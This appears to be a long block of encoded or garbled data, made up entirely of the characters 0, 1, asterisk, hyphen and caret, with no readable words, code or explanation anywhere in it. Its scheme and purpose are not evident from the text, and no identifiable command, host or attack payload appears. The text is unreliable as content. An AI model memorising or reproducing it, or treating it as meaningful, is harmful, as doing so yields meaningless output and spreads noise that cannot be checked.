0110101*********1**********110^1*******************011*1********0^1*0101*10101*001*1*101*001^1*-01*011*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**0^1101*****001**0010^11**00-***1^11011*010101*11****001***0-*0101*101011*^110-11*01**001*******0^10-0-1^1010110-01*01***1*0101101*11*****1**110^1*101*101********-01^-001101*0101******00-101101^-*1*******0^10-10-^1**001****001**^-*--*1*******0^10-0-1^11****001***1011*0101*1011**-00-11*01**01**001*******1^10-0-1101*1011011****001***1011*0101*0011**01*-11*01**01**01010^1***110^1*^^101^-11*001*******1*10-10-^1**01010^1***110^110101*******001*00101*^-0-11*00^^-11*011*******011**00101*0-*-*001011010101*0-001***1*********10-11*00^110101******010-01*101******1***011**001******1***01101**^-1*0-11*01101*001*******1*10-10-^1**011****01**0^-11*101*0^110-11*-*10-11*01010^1**0-10^-01*^101^-*^1*******1*10-10-^1**1101**1101*01*******1*10-10-^1**001*******1*10-0-1^11****001**-0011*010^11**01**01**********-01101^-00110101******-01101*101******11**-*1**1******11**1*01**0^11**0101******0011*01*0101*1**001*******101010-0-1101*******0011**1011*-101*01**001*******001010-0-1^101******00101^1*0101*01****01**0^10-*010-0^^1*******001*0^1011*10101*0-11*01*****1101*01^1*1**110101********************--**00-***1^1^1***00-----10--11*-1*-00101*001^1*-01*01010^1*******00-110-010-0-*00--------^10-*-00^11010110^10-11*1*^1*****01**001011**00^^1*01*1*--------*01**-00101*001^1*^1101*****001010^-0^11*00^1^^1*****01***-**001*001*01*1*********10101*--00^11010^1*011011010^11**1**********1*01*00^1011*0--00-11*0011******001***11*1*001*101**011010-01*011*00--------1*001*0-00101*001^1*^1101*****00110-00-^11*00^1^^1*****01**0010-**01*001*01*1*1101*00101****1**00110^1*10^11011******011**0011*-**11011******00-**11*101**--------*1011*0-00101*001^1*01101*1101**101*--------^10-*-00^1101*****00-001^110101**1*010^-110110-11*-*001*1*--------01*001*-00101*001^1*^1101******-11*01*1**1*010^1*****001**0^1**001*11*001*1*********10101*********1**0101*101*01^11*00^110^-0^-11*1*011*1*00101*00--------*10101*-00101*001^1*^1101******001^^101011*001*010^1*****01**0101*1**1*11*001*1*0101*001101*----------01*-00101*001^1*10-*01^1*11****001**10^11*001011********101^11********101^11*******************-**********101011********10^11*********00^1********101^11********1101101********010^1*********011*1********1101*0101*10101*001*1*********1*001*0-00^1*01^1*001****01**001**0--*01*01^1*001****01**0^110^--0-*001^1*001*******-1*10--0011*001^1*001*******010101010--001101*01^1*********1***-001*1***001***01101*****001**0-011****1***1^1^1***00-----10--1*-11*-00101*001^1*^110101*^1********1*0101*00^-*001*1*1*^101101*-11*-*001*1*01010^-*00--------00110-*-00^110^-0110-11*1*^110^^-11*0101*01*1*--------00-**-00101*001^1*01101**********1*0--00^11010^1*01101101*011**1******0011**10^101*00^1011******001**00110^1*001*011******00-**10^1**1*101**011010-01*011*00--------11*01*0-00101*001^1*^1101******-***01**^1^^1********^-11*00^^1*01*1*1101*00101****1***011**10^11011******01011**11*^1*0011011******011**0011*-**11011******00-**11*101**--------*0-*0-00101*001^1*0101*0-11*1101**101*--------01^-*-00^1101*****00^1*11*11**01*010^1********1010^1*001*001*01*1*--------0-*1*-00101*001^1*^11**********1*********01**0101*101*01^11*00^1101011011*1*0110101**01**-*0---------00101*-00101*001^1*1*^-110110-11*-*001*1*0101*001101*--------10101101*-00101*001^1*^1101*********1^11*00^1*^1101*10-11*011*001*1*01^1*11****001**00^11*001011********0101*1**********11*******************0011*********0-1101********10-01********001^1*********^101********00101*1*********11*********0-1101********1101*0101*10101*001*1*********110^1*0-*101*01^1*001****01**0-010^--0^1*01^1*001****01**0^110^--*01*01^1*001*******010101010--0-*001^1*001****01*****0--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**0-0101*****001**0-011****1***1^1^1*--------11*01*0-001011**011*01010^-*00--------001^1*0-001011**011*--------1^-1*-*101*0-11*--------0101101*0-001011*00-1*********-*00^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------1*-*0-001011*010-*1101*00101****1**0-1*1*10^--------0--*0-001011*010-*1101*001101*--------1^-1*-001101*0-11*--------0-*1*-001011*001101*********-*********001**0101*101*01^11*00^1101011010110-11*1*01^1**11**--------01^101*-001011*0^1101******1*00-11***^1^^1********11*-*001*01*001*1*0101*001101*--------00-101*-001011*0^1*0-11*01^1*11****001**11*11*001011********001^1********00--********00-*********0-0-********0^1101*******************0-*********00--*********1^1*********^1***********1********11*01*********11*0101*10^1**********1*1*0-*01*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001**00110101*********001011**0011***01^1^1*01010^11**---------001*00-*011*011011*--------0-01*00-*011**011*--------*0-1*-001*^--*-11*011*001*1*----------*00-*011*0^1*0-11**********1*0^-001**00--1*11*011*00--------*0101*0-*011*0^1101********0110-01*00^1*^1********0^^1*00^101*001*1*0101*0-01*--------0010-1*-00-01*--------0011011*0-*011*010-*********-*00^-001**00--101101*011*00--------00-11*0-*011*0^1101*********0-11*00^1*^1********011*01*001*01*001*1*0101**011*110101******--1*0101*********1*101*001**********0011*00^11**--------0010-1*-*0-*--------*10101*-*011*0^1101******0011010101***01*010^--*-11*^1**********001*^-001**00---101*011*00--------1*0011*-*011*001101*0101*001101*********00^11*******************1010^1********00^11*********^11********00-001********0^1**********0-*********00101********0011*101********010-1*********-001********0011*0101*1*01**11*00101*0-11*011*001^1*001*******0-11010--0101*001^1*001****01**001**0--*1*001^1*001****01*****0--01011**1*******-1*10--001101*01^1*********1***-001*1***001**01010101*****001********01***1^1^1*********010101*11*00-----^--1*0101*-00101*001^1*^1101*011010-11*1*^1*********1*1*001*011*01*1*-----^--1^1101*-00101*001^1*-01*-11*--------0^-1*-0011011*-11*-----^--11*011*-00101*001^1*0^1*-11*********^1*0^-001**00---01*0-11*^1*0-----^--01101011*-00101*001^1*^1101******0-01*101011*00^1^^^1*10-11*^1*01*1*1011*0-01*--------01^-*-00^1101********00-^1*00^1*^1*****01**0011***01*101*01*1*-----^--10--*-00101*001^1*^1101********0010-01*00^1*^1*00110-11*0101*01*1*********0^1*^-001**00--101101*^1*0-----110--*11**-00101*001^1*1*^1*****01**00110101**1*101*01*1*1011*001011*0011**1*00--------01^-*-00^1101*****00-*1*-101*001*010^1*****01**011011**00^1101*01*1*-----110--0-11*00-00101*001^1*00-*-11*********^1*0^-001**00--1^11*^1*0-----110--*0101*0-00101*001^1*^1*0-11*1011**011*0101*01*******001*0^1011*1101*00--------0^-1*-00^1*0-11*-----110--^1011*0-00101*001^1*01101*-11*********^1*0^-001**00---101*^1*0-----110--110-1*0-00101*001^1*^1101******00^^^11**01*010^1********-0^1*00^1101*01*1*1011*0^1*0-11*--------0^-1*-*011*0-11*-----110--0101^1*-00101*001^1*^110101*1010-11*1*^110-**1*01*1*********0-*0--*0011010101**01**001*0--------1^-1*-00-01*-----110---01101*-00101*001^1*-1*0-11*********^1*0^-001**00--10-1*^1*0-----110--^^11*-00101*001^1**11*1011*011011*-----110--1^1011*-00101*001^1*-1*0-11*--------^10-*-00^1101010^^-11*1*^1********001*11*001*101*01*1*-----110--00110-*-00101*001^1*1101*0-11*********^1*0^-001**00--101011*^1*0-----110--0--1*-00101*001^1*^1101*********101011*00^1*^1*****01****-*001*101*01*1*1011*01101*0-11*110101******--1*0101********0010-101*001********00-11011*001*11*00--------^10-*-00^1101********01*1101*00^1*^-010110-11*011*001*1*-----10--1011011*00-00101*001^1*01101**********1*0^-001**00--10101*0-11*^1*0-----10--1*^1*0-00101*001^1*^1101******^11*001011**^1^^1********101^11*00^^1*01*1*1011**-*00-0011*^1*1*011**-**11*00--------^10-*-00^1101*******01*^11**01*010^101011*-11*-*001*1*-----10--11010-*0-00101*001^1*^1101******0110--10-*00^1^^1********01101011*00^^1*01*1*********10101*^-001**00---011*^1*0-----10---00^1*-00101*001^1**11*-11*1011*00101*0-11*--------01^-*-00^1101********00-0101*00^1*^1********011*11*001*001*01*1*-----10--10^1101*-00101*001^1*0-*0-11*********^1*0^-*01**-*0--------00110-*-001*^1********^1^1*001*001*01*1*-----10---1^11*-00101*001^1*01011**********1*0^-001**00--1^1*0-11*^1*0-----10--11*0-*-00101*001^1*1011*0-11*1011*00-1*0011**011010-01**1*0--------0^-1*-001011*0-11*-----10---10-1*-00101*001^1*^1101*****00^101^1*1**01*010^110101*-11*-*001*1*********0^1*^-001**00--110-*^1*0--------0^1**-00101*001^1*1*^1*11*-11*011*001*1*1011*0^11*1101*001101*--------0^-1*-00-11*-11*--------^101*00-00101*001^1*0-1**********1*0^-001**00--1*11*^1*0--------010-*00-00101*001^1*^1101*11*0-11*1*^1********-00101*001*11*001*1*1011*010-*1101**011010-01*-*00--------1^-1*-00^11*--------*1101*0-00101*001^1*10101*-11*********^1*0^-001**00--^-*^1*0--------0101011*0-00101*001^1*11011*-11*1011*001101******01**0101101********0011*11****************001**1101*1*****001**010^1******1**01*011********0010^1*****01**001*-********01*-*****001**00101011*****001**1^1*********11*1******1**001*101*****001**10-01******1**^-01*****01**001*-*****001**-1^1*****01***1*11********01101011********0010^1*****01***001******01**0^1^1*****01**0-0-******1**10^1********001^101******1**10^1********00101*01********1101*********01^1101********110-******1***110101*****01**0010-11*****01**0-^1********01*0^101*10101*001*1*101*001^1*0-1*-11*0011*01^1*001****01**001**0--01101*01^1*001*******010101010--00101*01^1*001*******0-11010--0^1*01^1*001****01**0^110^--*01*01^1*001****01**0-010^--0-*001^1*001*******-1*10--0011*001^1*001****01*****0--001101*01^1*********1***-001*1***001***10101*****0011**10-001**00101***1^1^1************-****11010-0101^1**001*101***01********001*1********1010^-*00-----10--1*0011*0-00--------^11**-*101*01^1*01101*--------^10-*-00^1101*0-00-11*1*^1*****01**00101***^1011*01*1*--------1*11*00-*101*01^1*^1*0-11*********^1*0^-001**00--1^11*^1*0--------11*01*0-*101*01^1*^11*1011*0-01*--------01^-*-00^1101********00-0011*00^1*^1********10-011*001*011*01*1*--------*0011*0-*101*01^1*^1101*********1*11*00^1*^1********1*1011*001*011*01*1*********10101*^-001**00--101101*^1*0--------0--*0-*101*01^1*0011*0-11*1011**011*0011*00101****01**-0-0-101^11****001**10-01*0101*1**--------01010-*-001101101*011*1*^1********^1^1*00^1101*01*1*--------00^101*-*101*01^1*11011**********1*0^-001**00---101*^1*0--------10101101*-*101*01^1*01011*1011*0^11*010101*101*******0011*0--********0-*1********001*001*********-1*********^101********00110101*********01*********011***********11**********1*********01*001*********-1*******************1*1101********1011*0101*^101*01*1*0101*01^1*-01*00-0110101******001^^-11011011011******01*11*1101*0--101**0^1*********0-*010-0---------^-1*-*0-*--------0010-*0-00-*001^1*-01**********1*0010-*101****01**00-11*0101*1**0^1******01***-*10-0-101*00101****01**0--*0101***00^1*--------01^-*-00^1101*****00^^10-*01*001*010^1*****001**10-1**01*001*01*1*--------*10101*-00-*001^1*^11**********1*0^-00110101******0010^1*101******01**11*11**1******01***01**00^11**0101****01**10-11*0101***00^1*0101*00101****01**110-1*0101*1**0^1*********001^1*0-********001101011********0101*********001*101*******************001*1*******************1101011********0101**********001*0101*10-*001*1*-*001^1**11*********0110-1^-001**00--1*11*^1******001**01101^1*-001011*001101*********-*********00-**********1********************00-*********00101*00101*10101*001*1*101*001^1*-01**1*01^1*001*******010101010--01011*01^1*001****01**001**0--*11*01^1*001*******0-11010--01101*01^1*001****01**0-010^--001101*01^1*********1***-001*1***001**01^101*****001**001010-**00101***1^11011***********00-1****1*-0--***00^11***001********001*1*****010101*11****001**00-01*0101*11****011**0011*1*101*^11*1*110-^-1101101*001*******************0011*001*01*-1*01**01010^-----10--101*^--00-*001*1*0101****01**^-10-101^11****001**10-01*0101*1***1*01^1**11010-01**1*01*1*-----10--1*110--1^^101^-*1^1*01*1*1101*01*1*1101*01^1**1101*011*1101*01*1*0101****01**010-10-101^101****01**--101^-*001*1*1*-1*01*1*011****001**10-01*0101*1**00101*001101*11*****1*001*^1*101*101*******0011*0--00101******0011011*-101^11****011**0011*1*101*^11*1*110101^-001*1*001*******************001**1*0^11011*011****01**01*001*0101*0101*11011010^1*0^^1^1011**0^^11*00101*-1*01*1*001****001***-*--0101^1*110^-1*01*1**01*1^1*011*****1**011*1*101*11****001**1*011*0101*1101*^1101*11*01*1*1011*01*1*0011*01*1*0101****01***1*-1101^11**1**001****001**011011*--0-1*01^1*110101******1011**0101******1****01**1******1***0-**01*11****001**1*011*0101*1101*^110101011*01*1*0-*01*1*1011*01*1*0101****01***1*-1101^11**1**011****01**0^^11*101******11**110101**01******11**^-1**1*-*01^1**110^101101*01*01*1*011*001*1*011*001*1**1*0110101*00110^101101*01*01*1*011*001*1*110101******1*-*0101******1**0010^11*001******1**01*1101*001**1*-11*0101^1*1101*011*1101*01*1*^1*01*1**00^-10^^101^-*1^1*01*1**1101*011*1101*01*1*1011*01^1**110^101101*01*01*1*011*001*1*110101******1*-*0101******1****011*001******1**0110-01*001**1*-11*0101^1*11010-01*1101*01*1*^1*01*1*0011*01^1**110^101101*01*01*1*011*001*1*110101******1*-*0101********00-00101*001*********0-011*001**1*-11*0101^-01*01*1*^1*01*1******01**010-**-001101*01^1*01101*110101******-^11*10^^1*01*1*1011*10^11*101101*011*^110^101****01**^-10-101^11****001**10-01*0101*1**-*001*1*0101*01*1*0101*01^1**11010-01*0101*01*1*01*10-0101******1101011*0101******01**101011**01******01**11*1**01*11****011**0011*1*101*^11*1*110101^11*1*1*001*******************01011*01*01*1011*011****011**10-001*10^1101**-1*^^-1^1**1*0101*^11*1^1*-11*011****01**0110-11*10^-10^-11*-*10-11*011****001**1*011*010^-01**11**110^101101*011*0101*01*1**1101*011*0101101*01*01*1*011*001*1*0101****01***1*-1101^11**1**0101*01*1*^1*01*1*-11010110101*101*01^1*01101*^1*01^1*1*******0011**1011*10101101*011*^110^101****01**^-10-101^11****001**10-01*0101*1**-*001*1******01***1^11*-*001*01^1*-01*-*001^1*110101******1^11*00101*********1^101*001********00-*01*00^110101******1101011*0101*--0-11**10110-11*011****011**0011*1*101*^11*1*110101^110101*1*001*******************001**1*01*0-*011****011**10-001*10^1101**-1*^^^1^1**1*0101*01101*01011*-11*011****01**0110-11*101******1***00-**1******1***011**001*11****001**1*011*0101*1101*01011**-00-11*0101****01***1*-1101^11**1**011****001**00-01*010^110101******0-*1*101********00-*11*001********00^^11*001*11****011**1*-*0101*-**^^1101010-101**001*0-********************-*01*01*11****001**1101101*010^10^1*1**-101*0110^110101******11011**101******11**00-001*001******11**011*01*001*11****001***1^1*10^10-*01*11011**0-^^-01**1*0101*101*001*1*011****001**00-01*0101*11****01**01*001*010^11**11011010^1*0110^11*0-**1*0011*11**01*******001**11*101^-00110101******11011**101******1**01101011**1******1**01*-**1*11****001***1^1*101*0-*01*11011**0-^101^1**01*0101*001*001*1*011*001^1*011********11**101*********1011011*001*********0010-*001*1101*011****001**1*011*010^-01*01011*0011*0-11*0101****01***1*-1101^11**1**101*001^1*110101******1101011*0101******11**0^-**1******11**00^11**1*11****011**0011*1*101*^11*1*110101^110101*1*001*******************0^1*01*01*0-*011****011**10-001*10^1101**-1*^^1010^1**1*0101*00-*^1*0-11*011****01**0110-11*101******1**01011*1*001******1**010^-*001*11****001**1*011*0101*1101*01011*01011*0101****01***1*-1101^11**1**001*001^1*110101******1101011*0101******01**1*0101*001******01**-01101*001*11****011**0011*1*101*^11*1*110101^1^1*01*001********************11*01*01*-1*011****011**10-001*10^1101**-1*^^-1^1**1*0101*^11*01101*011****01**0110-11*101******01****1**1******01***101**01*11****001**1*011*0101*1101*01011*01101*0101****01***1*-1101^11**1**00-011011*****1**-1**10^-**01****001**0^1*0--01101**110^-*00-1*00-101101*-0^1^^1**01**11**011010-01**1*00101****01**-*0-110110110101******0-0101*101******01**^-01*001******01**11*101*00^-**11**1011*11010^1011*0^10110110101******0^1101*10^11011*-11*010^10-11*110101*******1101*0101******1**001101101*001******1**0-11011*00^-**011*001101*1101*00101****1**001101^1^-0110101******1***0101******1***110-*001******1***010-*00^11**011****001**0-101*0101*101****01***-101^-001**0101*00101****01**011*0-00-00101******0011*01*0101*1*****1101*01^1*1**11010^1*1***001**00^101******01*0011*1****01**001^11011****10101*01********010-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01********010-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******-^-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******-^-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0--------001011*00-*10101*1^1*11****001**0101101*001011********011*******************************-**********11*********00101*00101*1*01*01*1**1*01^1**11*01010^--------01010-*-00^1101*******^^10^1*001*010^1*-00-11*101*001*1*--------*-*00-001011*0^1101*****001^10---1*00^1^^1********0-0101*001*11*001*1*********00101*010-0010-01*011*-*00--------0010101*0-001011*0^110^-^--01********0^10-*00^^1101*10^1********10-001*001*01*******-1*10--*10^101101*001*******-1*10--001101*001*******-1*10--*****0011*010^11011*001*010^1*****001**0-01**0^101*001*1*1101**011010-**01*001101*00101101010^1*01**101**011010-01*011**101****1**0-*11*101*1**--------0101^1*-001011*010-*--------01010-*-00^110101*^1*10^-11*001*001*1*1*^1^^10-11*001*001*1*--------1*1101*-001011**011*********-*********001**0101*101*01^11*00^110^110-0-11*1*011*1*0011**--------^^11*-001011*011011*0101*001101********************1010101********0-11*********00-********00^1**********0-*********--********01*11*********00-*********1010101********0101*0101*10^1*01011*0^1*0-11*011*001^1*001****01**0^110^--0101*001^1*001*******010101010--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**01*101*****001**001*1****01**001^1^1*********01010^-----1*-1^-011*-*101*01^1*^110^1101^-11*1*^11*1^-11*0-*01*1*-----1*--1010-*-*101*01^1*-00^-11*--------01^-*-00^1101*****00-001*-01**0^1^^1********0010-1*001**1*1*1*-----1^--11**00-*101*01^1*^1101******1*-001011**0^1^^1*****01**0-011**01**1*1*1*********10101*^-001**00--10^1*-11**1*01*1*-----1^--1^1*00-*101*01^1*0-1**1*01^1*-01*--------1^-1*-*-1*-----1^-11*-*00-*101*01^1*10-**********1*0^-001**00--101101**1*01*1*-----1^-11010^1*0-*101*01^1*^1101********0-10-*00^1*^^-^-11*-1*01*1**1*01^1*^1*0-11*-----1^-11*0011*0-*101*01^1*^1101*****001^10-001^1*001*010^1********0-0101*00^1011*01*1*0101*00101*******^1*-10110101*001*1*10-001*00^-11*01101*101*001*1*101*001^1*1*******0010^^1011*-101*0101******0011*^-10110^1101*011*110101******0^-*0101******01**10101101*001******01**1^1011*00^-*00-01*-*00--------1^-1*-*0-*-----1^-1101010101*-*101*01^1*1011*0-11*********^1*0^-001**00--10-1**1*01*1*-----1^--0-101*-*101*01^1*1101101011011*1*^^-*-11*0-*01*1**1*01^1*00-*1101*00101^^1*001*1*^1*0--------10110-*-001101101*011*1*^1011*10-11*0011*01*1*-----1^---1011*-*101*01^1*-01*-11*********^1*0^-001**00---011**1*01*1*-----1^-110^-1*-*101*01^1*^1101********01^1101*00^1*^1********1010-1*001*011*01*1**1*01^1*^11*1011*011**--------01^-*-00^1101********010110101*00^1*^1********11*-*00^1*1*1*1*-----1010---1**-*101*01^1*1*1^-11*********^1*0^-001**00--1*11**1*01*1*-----1010-110^11*00-*101*01^1*^110101*^^101*-11*0011*01*1*1*^1********01*011*001*011*01*1**1*01^1**11*0101*00101*******0011*0--0--------01^-*-00^1101*****001*01101*11**01*010^1*****001**--**0^1101*01*1*-----1010--1*11*0-*101*01^1*^1101******1*10-11011**1*010^1*****01**0-***0^1101*01*1*********10101*^-001**00---101**1*01*1*-----1010-1101*001*-*101*01^1*-1*0-11**1*01^1*0-1*--------0^-1*-00-10^-11*-----1010--010^1*-*101*01^1*01101**********1*0^-00110101******11011**101******1**0-1***1******1**0-01**001*11****011**1*-*0101*-**^^1101010110^1**0^11011********************11*001*0^-*00--------00110-*-001*^1********-00101*00^-1*01*1*-----1010--^1011*-*101*01^1*01011**********1*0^-001**00--110-**1*01*1*-----1010--0^-*-*101*01^1*1*1*-11**1*01^1*11011*-----1010--*-1*-*101*01^1**01^-11*--------0^-1*-001*1*-11*------0--***0-*101*01^1*^1101*****00^1010-0-**01*010^1********01*001*00^1011*01*1*********10101*^-001**00--101011**1*01*1*------0-11*001*00-*101*01^1**01*-11**1*01^1*1011*0-11*--------00110-*-00^11010^10110-11*1*^^101010-11*-1*01*1*------0-11010-*00-*101*01^1*0-1*-11*********^1*0010-00110101******0010^1*101******11**10110101*001******11**^11011*001*11****011**10-001*10^1101**-1**^-00-1*001*0101*10-*1^1*-11*-*00--------0^-1*-**1*-11*------0--011011*0-*101*01^1*^1101*****0011**001101**01*010^1*****001**101*1**^1101*01*1*********10101*^-001**00--^11*0-11**1*01*1*------0--011*1*-*101*01^1*1*^10110-0-11*1*1*1*1**1*01^1**01*-11*------0--0-001*-*101*01^1*^1101********0-01101*00^1*^1********101^11*00^-1*01*1*0101****01**110^10-10110110101******-101*00101******1**01^1**001******1**0-1101**^-*001*1*10-001*00^-11*01101*-*001*1*-*001^1*1*******0010^^1011*-101*110101******11*001*101******11**101011**01******11**^1101**^^11010-01*^1101*01*0110101******0^-*0101******01***1011**1******01**0-***^-**0011010-01**1*0-*00110101******-101*00101******01**101011**01******01**^-1**1*11*001*1*10-001*00^-11*01101*011*001*1*011*001^1*1*******0010^^1011*-101*110101******11*001*101******1**00101*1*001******1**001^-*001*001*001101*-**101****01**1*001*0101*11**1**--------0^-1*-001*0^-11*-----^--00-1*00-*101*01^1*^1101******101*1*00-*001*010^1********10^101*00^1101*01*1*********10101*^-001**00---11*0-11**1*01*1*-----^--00-01*0-*101*01^1*10101^-11**1*01^1*01011*001*001^1*01101*--------01^-*-00^1101******10^11*011**01*010^1*****01**010101011*00^1101*01*1*-----^--0--*0-*101*01^1*^110101*^-110110-11*1*1*1*1*1*^--110-11*1*1*1*1*********0^1*^-001**00--1^11**1*01*1*-----^--0101^1*-*101*01^1*1*^-0-10-11*0011*01*1**1*01^1*1*1*-11*001*001^1**11010-01*001*001*1*--------0^-1*-00^11*-11*-----^---01101*-*101*01^1*0^1^-11*********^1*0^-001**00--1*01*-11**1*01*1*-----^--110^11*-*101*01^1*^1101*****00101**01*11*001*010^11*-0-11*1011*01*1**1*01^1*10-*--------0^-1*-00-10^-11*-----^---00-*-*101*01^1*1*^10-0010-11*0-*01*1*********0011*0^-00110101******0010^1*101******01***01011*001******01**00^101*001*11****011**0011*1*101*^11*1*110-^-1^101*001*******************0^1*01*0^^11*-*00--------0^-1*-*101*0-11*-----110--11*1*00-*101*01^1*10101*-11*********^1*0^-001**00--^-**1*01*1*-----110--011011*00-*101*01^1*00-*-11**1*01^1*-1*0-11*0011*0110101******0110101*0101******11**0110-1*001******11**10101011*00^10-^-11*-*00--------0^-1*-*0-*-11*-----110--10-01*0-*101*01^1*00^^-11*********^1*0^-001**00--10-*0-11**1*01*1*-----110--1*-*0-*101*01^1**11010-1*0-11*1*^1********-1*1*001*-*01*1**1*01^1*0011*0-11*-----110---*01*-*101*01^1*0^1^-11*--------0^-1*-0011010^-11*-----110---0^1*-*101*01^1*0^1*-11*********^1*0^-001**00---01*0-11**1*01*1*-----110--11010101*-*101*01^1*^1101*****001101*-1101**01*010^1*****001***001**0^1101*01*1**1*01^1*0101*0-11*--------01010-*-001101101011011*1*^1*****01**00--**^1*1*1*1*-----110--1^1011*-*101*01^1*^1101******010^-10-**^1^^1*00^-11**01*1*1*********0^1*010-*101****01**001*1*0101*11**1**--------0^-1*-*0110^-11*-----110--*-11*-*101*01^1**11**********1*0^-001**00--1^1*0-11**1*01*1*-----10---01**0-*101*01^1*11011*-11**1*01^1*1101*0-11*0101****01**11*01*0101*101****01**010^101^-0011**1**--------*0-1*-001*^^-*-1*01*1*-----10--1101101*00-*101*01^1*00101*-11*********^1*0^-001**00--10101*0-11**1*01*1*-----10--11*001*0-*101*01^1*1*^-1*10-11*0-*01*1**1*01^1*0-*0-11*--------0^-1*-*^1^-11*-----10--1*1101*0-*101*01^1*^1101******01^-^-1*001*010^1^11*1011*01*1*********1*1*^-00110101******11011**101******1**00-^1*001******1**0^1*1*001*11****011**1*-*0101*-**^^1101010110^1**0^-01********************001*01*0^-*00--------0^-1*-00^1*0-11*-----10--1^1^1*-*101*01^1*1^1^-11*********^1*0^-001**00--11011*0-11**1*01*1*-----10--110110101*-*101*01^1*^1101******10--110101**1*010^1********1101*1*00^1101*01*1**1*01^1*0^1*-11*--------11*-*-00^110101*^1*****01**0-0^1*001*011*01*1*1*^1*****01**0-0-**1*011*01*1*-----10--^-011*-*101*01^1*^1101*****001*0110--**01*010^1*****001**--**0^1101*01*1*********10101*--00^101^-*1^1**1*001*1*--------1^-1*-00^11*--------1***0-*101*01^1**01^-11*********^1*0^-001**00--11*1*-11**1*01*1*--------10101**-*101*01^1*01101*-11**1*01^1*01101******001**101*11*****01**010-01********0-1*1*****001**1*-*****00101*0010101*********01^1******11**110-01*****001**01101101********0011******001**00110-*****001***001101*****01**011010-*****001**1*001****************0011*00101*1******11*00101101**********1011*****01**0110^11*****01**00101^1******1***11******11**0010^1*****001**0110101*****001***001101*****011**0010-1*****011**001*01*****01**011010-*****01**001101******0101*00-101******01**-*01*****001**00110-*****0101**-001******11**11011******01**101*********0010--******1*00-10-*****01**01*^1******1**0-1******001*001********01*00-1^1*****0101**0^11*****00101*0010-11******01*00-001******001*001*1011*****001**0110101**********-*****0101**10-11*****0101*00-10-*****0101*00-01011********1101101******01*001101101*********10-*****001***0011******101*001*0011******1*001^^1********01101^101*^101*01*1*0101*01^1**10^-11*1*1*1^1*001****01**001**0--*001*1^1*001****01**0^110^--0-1*01^1*001****01*****0--00-*01^1*001****01**0-010^--01011*01^1*001*******-1*10--*11*01^1*001*******0-11010--01101*01^1*001*******010101010--001101*01^1*********1***-001*1***001***00101*****00-*001*011****1**001^1^1*********01010^--------^-*00-*011*00101*0-11*--------1*001*0-*011*0^1*0-11*--------0010-1*-00^11*---------^1*0-*011**-*********-*00^-001**00--1*11*011*00---------1101*0-*011*0^1101*001010-11*1*^-011*-11*101*001*1*0101*0-01*---------00-*-00^1101******10^^-1101*00^1^^1*****01**0-0011**1*01*001*1*--------01*001*-*011*01101*0-11**********1*0^-001**00--101101*011*00--------1^^1*-*011*0-01*0101**011*011****001**^1101*010^11**01**--------0010-1*-00-01*--------^10101*-*011*0^110101*^-101*-11*^1*01*^-101*-11*^1*********0-1*0^-001**00---101*011*00--------1*0011*-*011*0^11*0101*001101*********1101101********0^1*********01*^1********1101011********01101011********01**1********1**1******************00^1*1********^1*********0-011********00-001*********011*0101*1*01**11*001011*101*001^1*001****01**0-010^--*1*001^1*001****01**0^110^--01011**1****01*****0--001101*01^1*********1***-001*1***001**0-^1********010^-***01***1^1^1****1010^-----10--1^-11*-001011*0^11*--------***00-001011*00101*0-11*--------0010-1*-*0011*--------0-**0-001011*0^1*0-11**********1*0^-001**00--1*11*-*00---------11**-001011*011011*1101*0-01*--------0010-1*-0011011*--------0-01*00-001011*01101*0-11**********1*0^-001**00--101101*-*00----------*00-001011*0^1101******^110-0-**0^1^^1*****01***01101**^101*001*1*1101**011*--------1010101*0-001011*001011*011****001**^1101*010^110101******0101^1*101******01**00^101*001******01**01101011*001*1101*011**1*101011*******001011*00101******1**0-10-*001******1**00^-1*001*1101*011**101*01*******0011**1011*-101*11**01**---------00-*-00^1101*****001101*0-1***^1^^1*****01**0-0^1*00^101*001*1*--------*00101*-001011*00-1*********-*00^-001**00---101*-*00--------*01101*-001011*0^1101******10^10^1011**1*010^1********00110101*001*01*001*1*1101*001101*********-*01********0-^1********101^11********0-1101********^-*******************00-^1********-00101********1*-********001101*********011*11********011*11********1*-********01011*0101*10^1*01011*010-*101*001^1*001****01**0^110^--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**00-001*****001**0-11***00-***1^1^1*01010^--------0101**0-*011**011*--------1*1**-*011*0^1101*****00110110-1*101*001*010^1*11010-11*011*001*1*--------0010-1*-00-01*--------*101*00-*011*00-1*********-*00^-001**00--1*11*011*00--------*-*00-*011*0^1*0-11*0101*0-01*--------1^-1*-00^1*0-11*--------^^1*0-*011*0^1101010-00--0^110-0-11*1*011*10^-*010-11*001*******-1*10--01^^1********0^1011*001*01****01**0^110^--********00^1011*001*01****01**0^110^--0011*10-11*1*^1*****01***-**00^101*001*1*********1^1^^-001**00--101101*011*00--------101*01*-*011**-*0101**011*011****001**^1101*010^110101******11*11*0101*11*10-11*101*10-11*11**01**--------*0-1*-001*^1*01010-11*001*001*1*--------*10101*-*011*0^1101011011010-11*1*^1********1**1*00^^1**********001*^-001**00---101*011*00--------1*0011*-*011*0-01*0101*001101*********101*1*******************0^^1*********10101********^1*********0101*1*********01*1********001101**********0011********^1*********0^-01*********10101********0011*0101*1*01**11*00101*0-11*011*001^1*001*******010101010--0101*001^1*001****01**001**0--*1*001^1*001****01**0-010^--01011**1*******0-11010--001101*01^1*********1***-001*1***001**0101^1*****001***-****001**001^1^1****10101*11****001**0110101*010^11**01**0101****01**01*01*0101*1*****1101*01^1*********1***-*10110^10101*101****01**01*01*0101*1*****1101*01^1*********1***-*-11***0---------01**-*01*001^1*10-*01010^1*****1**001**0010-0-*00--------1^-1*-0010-*--------001101*00-*01*001^1*00-**********1*0010-0010-01*011**1*0--------00-1*00-*01*001^1*^1101******0^110-0011**1*010^-010^-11*011*001*1*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------0101101*0-*01*001^1*11011*1101*00101****1**0----011011011******011**0011*-**11011******00-**11*101**--------0010-*0-*01*001^1*^1101*****00-^10-*11*001*010^10-0010-11*011*001*1*1101**101*--------1^-1*-00-01*--------0-*1*-*01*